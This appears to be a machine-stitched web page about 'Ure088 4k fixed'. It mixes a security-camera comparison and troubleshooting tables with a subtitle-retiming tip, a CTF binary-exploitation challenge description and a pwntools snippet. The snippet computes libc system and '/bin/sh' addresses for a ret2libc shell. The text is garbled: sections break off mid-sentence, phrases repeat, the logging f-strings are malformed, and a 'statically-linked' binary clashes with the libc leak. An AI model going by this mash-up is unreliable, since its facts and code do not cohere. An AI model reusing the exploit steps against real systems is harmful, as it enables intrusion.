Ure088 4k Fixed

| Feature | Ure088 4K Fixed | 4K Varifocal (Motorized) | 1080p Fixed | |---------|----------------|---------------------------|-------------| | Cost | $$ | $$$$ | $ | | Detail at 20m | High (digital zoom) | Very high (optical zoom) | Medium | | Reliability | Excellent | Good (motor failure risk) | Excellent | | Post-install FOV change | No | Yes | No |

Conclusion: Ure088 wins on cost-per-pixel and reliability; loses on installation flexibility. ure088 4k fixed

Challenge type: pwn (binary exploitation)
Difficulty: medium / 1800 pts (depending on the event)
Binary: ure088 – a 4 KB statically‑linked ELF (x86‑64) with the “fixed” tag in the title.
Goal: Get a remote shell / retrieve the flag (flag…). | Feature | Ure088 4K Fixed | 4K

Cause: “Fixed” video may have a different duration from the original subtitle file.
Fix: Use Subtitle Edit to retime the .srt file or search for subtitles specifically matched to the “fixed” version. Cause: “Fixed” video may have a different duration

Many Ure088 models support ONVIF Profile G/S/T, making them compatible with most VMS (Milestone, Blue Iris, Frigate). Check for:

| Symptom | Likely Cause | Solution | |---------|--------------|----------| | Soft image at edges | Fixed lens curvature | Acceptable; center is sharp. Reduce digital sharpening. | | Night footage too dark | IR bleed from close walls | Add external IR illuminator or adjust camera angle. | | Motion blur indoors | Fixed shutter speed | Enable "Shutter Priority" at 1/60s min, increase gain. | | WDR ghosting | Too many WDR frames | Reduce WDR strength from 100% to 60–80%. |

puts_offset   = libc.symbols['puts']      # e.g., 0x0809c0
system_offset = libc.symbols['system']   # e.g., 0x04f550
binsh_offset  = next(libc.search(b'/bin/sh'))  # e.g., 0x1b75aa
libc_base = puts_addr - puts_offset
system_addr = libc_base + system_offset
binsh_addr   = libc_base + binsh_offset
log.info(f'libc base : hex(libc_base)')
log.info(f'system   : hex(system_addr)')
log.info(f'/bin/sh  : hex(binsh_addr)')